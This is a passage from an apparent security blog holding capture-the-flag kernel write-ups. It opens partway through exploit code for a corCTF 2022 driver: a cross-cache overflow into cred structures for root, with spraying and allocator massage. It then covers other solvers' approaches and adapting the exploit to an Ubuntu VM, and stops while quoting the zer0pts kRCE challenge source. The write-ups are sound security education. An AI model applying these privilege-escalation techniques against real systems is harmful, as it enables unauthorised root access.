</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">edit_vuln_page</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">int</span> fd, full_page *arr, <span class="hljs-type" style="color: #a31515;">int</span> page_idx, <span class="hljs-type" style="color: #a31515;">uint8_t</span> *buf, <span class="hljs-type" style="color: #a31515;">size_t</span> sz)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
assert(arr[page_idx].in_use);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < ISO_SLAB_LIMIT; i++)
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">long</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> result = edit(fd, arr[page_idx].idx[i], sz, buf);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (result < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
perror(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"free error"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
}
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">main</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">int</span> argc, <span class="hljs-type" style="color: #a31515;">char</span> **argv)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> fd = open(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"/dev/castaway"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, O_RDONLY);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (fd < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
perror(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"driver can't be opened"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// for communicating with spraying in separate namespace via TX_RINGs</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
pipe(sprayfd_child);
pipe(sprayfd_parent);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"setting up spray manager in separate namespace"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (!fork())
{
unshare_setup(getuid(), getgid());
spray_comm_handler();
}
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// for communicating with the fork later</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
pipe(rootfd);
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> evil[CHUNK_SIZE];
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(evil, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(evil));
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// initial drain</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"draining cred_jar"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < CRED_JAR_INITIAL_SPRAY; i++)
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">pid_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> result = fork();
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (!result)
{
just_wait();
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (result < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"fork limit"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
}
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// buddy allocator massage</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"massaging order 0 buddy allocations"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < INITIAL_PAGE_SPRAY; i++)
{
send_spray_cmd(ALLOC_PAGE, i);
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < INITIAL_PAGE_SPRAY; i += </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
send_spray_cmd(FREE_PAGE, i);
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < FORK_SPRAY; i++)
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">pid_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> result = __clone(CLONE_FLAGS, &check_and_wait);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (result < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
perror(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"clone error"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < INITIAL_PAGE_SPRAY; i += </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
send_spray_cmd(FREE_PAGE, i);
}
*(</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint32_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">*)&evil[CHUNK_SIZE</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-0x6</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// cross cache overflow</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"spraying cross cache overflow"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < FINAL_PAGE_SPRAY; i++)
{
alloc_vuln_page(fd, isolation_pages, i);
edit_vuln_page(fd, isolation_pages, i, evil, CHUNK_SIZE);
}
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"notifying forks that spray is completed"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
write(rootfd[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], evil, FORK_SPRAY);
sleep(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">100000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}</span></span></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ8hmT1HV4d2ClVuXOPiwGzqyk1RlkSH_nGDMtTc4N7II-XlfuzIAMIkIMt8EZttm1-mLOHKCbbFyMqNYoCb_6SX3RuCUNkUyHvSp-RX9EsKv5qkmN5xZYHCw5Z0HwHyldwLvoyAtP-9yzmUGNnsTc74VQcRRkWBo8wxc4wcaF_Ln0RFJkVSt4DgRF_g/s600/challenge.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="494" data-original-width="600" height="526" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ8hmT1HV4d2ClVuXOPiwGzqyk1RlkSH_nGDMtTc4N7II-XlfuzIAMIkIMt8EZttm1-mLOHKCbbFyMqNYoCb_6SX3RuCUNkUyHvSp-RX9EsKv5qkmN5xZYHCw5Z0HwHyldwLvoyAtP-9yzmUGNnsTc74VQcRRkWBo8wxc4wcaF_Ln0RFJkVSt4DgRF_g/w640-h526/challenge.gif" width="640" /></a></div><p>Congratulations to <a href="https://kylebot.net/">kylebot</a> and <a href="https://twitter.com/pqlqpql">pql</a>
for taking first and second blood respectively during the competition!
Kylebot did not target cred struct - he cross cached onto <code>seq_file</code> objects for arbitrary read to leak driver addresses and for arbitrary free against the <code>castaway_arr</code>
to build a UAF and arb write primitive. pql did target cred struct with
cross cache overflow, but in a different and more stable way. The exploit relied on <code>setuid</code>, which triggers <code>prepare_creds</code> and allocates cred objects to prepopulate <code>cred_jar</code>
slabs. This way, the exploit can trigger allocations of such pages
without much noise and then fork to retake them. I personally never expected that function to allocate these objects as I thought it would just run permission checks and mutate in place, but seems like the lesson here is to always check source. Overall, there did seem to be a
notion beforehand among solvers (and other kernel pwners I talked with)
that targeting cred structs in a cross cache overflow scenario will be
quite difficult, if not nearly impossible, so it is quite nice to see it
come to fruition.</p><p>After the CTF, I was curious to see if this technique is applicable
on a real Linux system that isn’t just a minimalistic busybox setup. To
test, I setup a single core default Ubuntu HWE 20.04 server VM with 4
gbs of RAM and KVM enabled. Surprisingly, upon testing the exploit on
the system with the loaded drivers, only two changes were required. </p><p>
</p><p>For one, I had to increase the FINAL_PAGE_SPRAY macro to 50, which
makes sense as this setup is an actual Linux distro with more moving
parts. Another change I had to make was to adjust for Ubuntu’s kernel <code>CONFIG_SCHED_STACK_END_CHECK</code> option. As many of my overflows wrote into kernel stacks, the payload will cause this <a href="https://elixir.bootlin.com/linux/v5.18.3/source/kernel/sched/core.c#L5626">stack end check</a> to fail. The check is just this macro:</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span style="background-color: whitesmoke; color: #2b91af; font-family: monospace; white-space: pre;">#</span><span class="hljs-keyword" style="background-color: whitesmoke; color: blue; font-family: monospace; white-space: pre;">define</span><span style="background-color: whitesmoke; color: #2b91af; font-family: monospace; white-space: pre;"> task_stack_end_corrupted(task) \
(*(end_of_stack(task)) != STACK_END_MAGIC)</span></span></p><p><code>STACK_END_MAGIC</code> is the 4 byte value 0x57AC6E9D. Our payload
will just include this value instead of 1, as this is still a valid
value for the usage field.</p><p></p><p>
</p><p>With those changes, we can achieve a working exploit agaisnt the CTF
challenge driver with this technique on a real distro. The success rate
is around 50%, but consider that I barely adjusted anything from the original spray I used - a more fine grained adjustment would have led to better success.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCw6KTwl2iw2uyE4VUZC8xcGjWFNd7ogoBo_xCrvAWxcWpYUeFl0jAByo1p7benkQCar60vrRFWq7mY8UoU-f4XbRtTE1giCqsjm9ksZtQqcNqTPMF4wjYxU32LCe0JvW7MJJaaTfeP4CMD9fUYyVWT2NSw0WDRkpBUnBSpcOaeGC9m5gHBy1UZAuLMQ/s600/ubuntu.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="469" data-original-width="600" height="501" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCw6KTwl2iw2uyE4VUZC8xcGjWFNd7ogoBo_xCrvAWxcWpYUeFl0jAByo1p7benkQCar60vrRFWq7mY8UoU-f4XbRtTE1giCqsjm9ksZtQqcNqTPMF4wjYxU32LCe0JvW7MJJaaTfeP4CMD9fUYyVWT2NSw0WDRkpBUnBSpcOaeGC9m5gHBy1UZAuLMQ/w640-h501/ubuntu.gif" width="640" /></a></div><p>As for a multicore setup, the isolated slab of 512 byte chunks was backed by a order 1 page. This would require re-designing the
spray (and setting core affinity due to per cpu slub lists), but I
hypothesize that the technical concept should still hold.</p><p>
</p><p>Anyways, I think this is a really cool kernel exploit technique - leakless, data-only, all the pwn buzzwords! A huge thanks must also go to D3v17 and <a href="https://twitter.com/Markak_" target="_blank">Markak</a> for providing feedback on this writeup beforehand. Feel free to inform me if there are any confusing explanations or incorrect information in this writeup, and do let me know if you manage to use this technique in a real world exploit!</p><p>Addendum: I originally wrote most of this immediately after corCTF 2022, but decided to post after Defcon 2022 due to time constraints as I was attending the CTF and the convention (shoutout to the <a href="https://forum.defcon.org/node/241933" target="_blank">All Roads Lead to GKE's Host</a> presentation from StarLabs that talked about cross cache in great depth too!). During Defcon, <a href="https://twitter.com/_0xTen" target="_blank">0xTen</a> mentioned to me Markak's presentation on <a href="https://i.blackhat.com/USA-22/Thursday/US-22-Lin-Cautious-A-New-Exploitation-Method.pdf" target="_blank">DirtyCred</a> at Blackhat a week earlier, which demonstrated another novel approach to attack cred structs in scenarios of UAF/double-free/arbitrary-free via cross cache and has been successfully tested on older CVEs. I guess this cross cache technique has truly revived cred objects as a viable target for exploitation in the most common classes of memory safety bugs 😎</p></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8814147965526194982.post-58585577786692684242022-03-20T09:45:00.008-07:002022-03-26T13:53:22.198-07:00zer0pts CTF 2022 kRCE writeup: Limited Userland Interface to Kernel RCE<p><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjIU4jQffraFTycQEw1jd2xYGUs6FiXGltio8q4vK2VlDNT4XfRLb_DZoYBgtYxDHqUX6Z05Du_XjGAMY9ZrV4xxtN7d4FE70XJAsQEyfnecQshb6JXybCMajzCtZFiAHBadQNbLkv3gyfVJgQ3W7azguirdltXHnHwVV5kar4T-l0PfrbxJAnq3G3tTg=s996" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="344" data-original-width="996" height="222" src="https://blogger.googleusercontent.com/img/a/AVvXsEjIU4jQffraFTycQEw1jd2xYGUs6FiXGltio8q4vK2VlDNT4XfRLb_DZoYBgtYxDHqUX6Z05Du_XjGAMY9ZrV4xxtN7d4FE70XJAsQEyfnecQshb6JXybCMajzCtZFiAHBadQNbLkv3gyfVJgQ3W7azguirdltXHnHwVV5kar4T-l0PfrbxJAnq3G3tTg=w640-h222" width="640" /></a></p>kRCE was a kernel challenge from zer0pts 2022 with an interesting setup. Instead of a normal kernel pwnable, players got a userland heap note style interface that interacted with the driver. This prevents a lot of traditional kernel exploitation strategies since you can't spray structures for leaks (or RIP control) and target strings used in <code>call_usermodehelper</code> - the userland interface restricts you to only the 4 ioctls that interact with the driver.<p></p><div><div>Let's take a look at the challenge's provided source for vulnerabilities now.</div><div><br /></div><div>In the userland interface we have the following:</div></div><div><br /></div><div><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><stdio.h></span></span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><stdlib.h></span></span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><fcntl.h></span></span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><unistd.h></span></span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">include</span> <span class="hljs-string" style="color: #a31515;"><sys/ioctl.h></span></span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">define</span> CMD_NEW 0xeb15</span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">define</span> CMD_EDIT 0xac1ba</span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">define</span> CMD_SHOW 0x7aba7a</span><span style="background-color: whitesmoke;">
</span><span class="hljs-meta" style="color: #2b91af;">#<span class="hljs-keyword" style="color: blue;">define</span> CMD_DEL 0x0da1ba</span><span style="background-color: whitesmoke;">
</span><span class="hljs-keyword" style="color: blue;">typedef</span><span style="background-color: whitesmoke;"> </span><span class="hljs-class"><span class="hljs-keyword" style="color: blue;">struct</span> {</span><span style="background-color: whitesmoke;">
</span><span class="hljs-type" style="color: #a31515;">unsigned</span><span style="background-color: whitesmoke;"> </span><span class="hljs-type" style="color: #a31515;">int</span><span style="background-color: whitesmoke;"> index;
</span><span class="hljs-type" style="color: #a31515;">unsigned</span><span style="background-color: whitesmoke;"> </span><span class="hljs-type" style="color: #a31515;">int</span><span style="background-color: whitesmoke;"> size;
</span><span class="hljs-type" style="color: #a31515;">char</span><span style="background-color: whitesmoke;"> *data;
} </span><span class="hljs-type" style="color: #a31515;">request_t</span><span style="background-color: whitesmoke;">;
</span><span class="hljs-type" style="color: #a31515;">void</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">fatal</span><span class="hljs-params">(<span class="hljs-type" style="color: #a31515;">const</span> <span class="hljs-type" style="color: #a31515;">char</span> *msg)</span><span style="background-color: whitesmoke;">
{
perror(msg);
</span><span class="hljs-built_in" style="color: blue;">exit</span><span style="background-color: whitesmoke;">(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">);
}
</span><span class="hljs-type" style="color: #a31515;">void</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">add</span><span class="hljs-params">(<span class="hljs-type" style="color: #a31515;">int</span> fd)</span><span style="background-color: whitesmoke;">
{
</span><span class="hljs-type" style="color: #a31515;">request_t</span><span style="background-color: whitesmoke;"> req;
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"index: "</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (</span><span class="hljs-built_in" style="color: blue;">scanf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"%u%*c"</span><span style="background-color: whitesmoke;">, &req.index) != </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">)
</span><span class="hljs-built_in" style="color: blue;">exit</span><span style="background-color: whitesmoke;">(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"size: "</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (</span><span class="hljs-built_in" style="color: blue;">scanf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"%u%*c"</span><span style="background-color: whitesmoke;">, &req.size) != </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">)
</span><span class="hljs-built_in" style="color: blue;">exit</span><span style="background-color: whitesmoke;">(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (ioctl(fd, CMD_NEW, &req))
</span><span class="hljs-built_in" style="color: blue;">puts</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"[-] Something went wrong"</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">else</span><span style="background-color: whitesmoke;">
</span><span class="hljs-built_in" style="color: blue;">puts</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"[+] Successfully created"</span><span style="background-color: whitesmoke;">);
}
</span><span class="hljs-type" style="color: #a31515;">void</span><span style="background-color: whitesmoke;"> </span><span class="hljs-title function_" style="color: #a31515;">edit</span><span class="hljs-params">(<span class="hljs-type" style="color: #a31515;">int</span> fd)</span><span style="background-color: whitesmoke;">
{
</span><span class="hljs-type" style="color: #a31515;">request_t</span><span style="background-color: whitesmoke;"> req;
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"index: "</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (</span><span class="hljs-built_in" style="color: blue;">scanf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"%u%*c"</span><span style="background-color: whitesmoke;">, &req.index) != </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">)
</span><span class="hljs-built_in" style="color: blue;">exit</span><span style="background-color: whitesmoke;">(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"size: "</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (</span><span class="hljs-built_in" style="color: blue;">scanf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"%u%*c"</span><span style="background-color: whitesmoke;">, &req.size) != </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">)
</span><span class="hljs-built_in" style="color: blue;">exit</span><span style="background-color: whitesmoke;">(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-built_in" style="color: blue;">printf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"data: "</span><span style="background-color: whitesmoke;">);
req.data = </span><span class="hljs-built_in" style="color: blue;">malloc</span><span style="background-color: whitesmoke;">(req.size);
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (!req.data) {
</span><span class="hljs-built_in" style="color: blue;">puts</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"[-] Invalid size"</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">return</span><span style="background-color: whitesmoke;">;
}
</span><span class="hljs-keyword" style="color: blue;">for</span><span style="background-color: whitesmoke;"> (</span><span class="hljs-type" style="color: #a31515;">unsigned</span><span style="background-color: whitesmoke;"> </span><span class="hljs-type" style="color: #a31515;">int</span><span style="background-color: whitesmoke;"> i = </span><span class="hljs-number">0</span><span style="background-color: whitesmoke;">; i < req.size; i++) {
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (</span><span class="hljs-built_in" style="color: blue;">scanf</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"%02hhx"</span><span style="background-color: whitesmoke;">, &req.data[i]) != </span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">)
</span><span class="hljs-built_in" style="color: blue;">exit</span><span style="background-color: whitesmoke;">(</span><span class="hljs-number">1</span><span style="background-color: whitesmoke;">);
}
</span><span class="hljs-keyword" style="color: blue;">if</span><span style="background-color: whitesmoke;"> (ioctl(fd, CMD_EDIT, &req))
</span><span class="hljs-built_in" style="color: blue;">puts</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"[-] Something went wrong"</span><span style="background-color: whitesmoke;">);
</span><span class="hljs-keyword" style="color: blue;">else</span><span style="background-color: whitesmoke;">
</span><span class="hljs-built_in" style="color: blue;">puts</span><span style="background-color: whitesmoke;">(</span><span class="hljs-string" style="color: #a31515;">"[+] Successfully updated"</span><span style="background-color: whitesmoke;">);
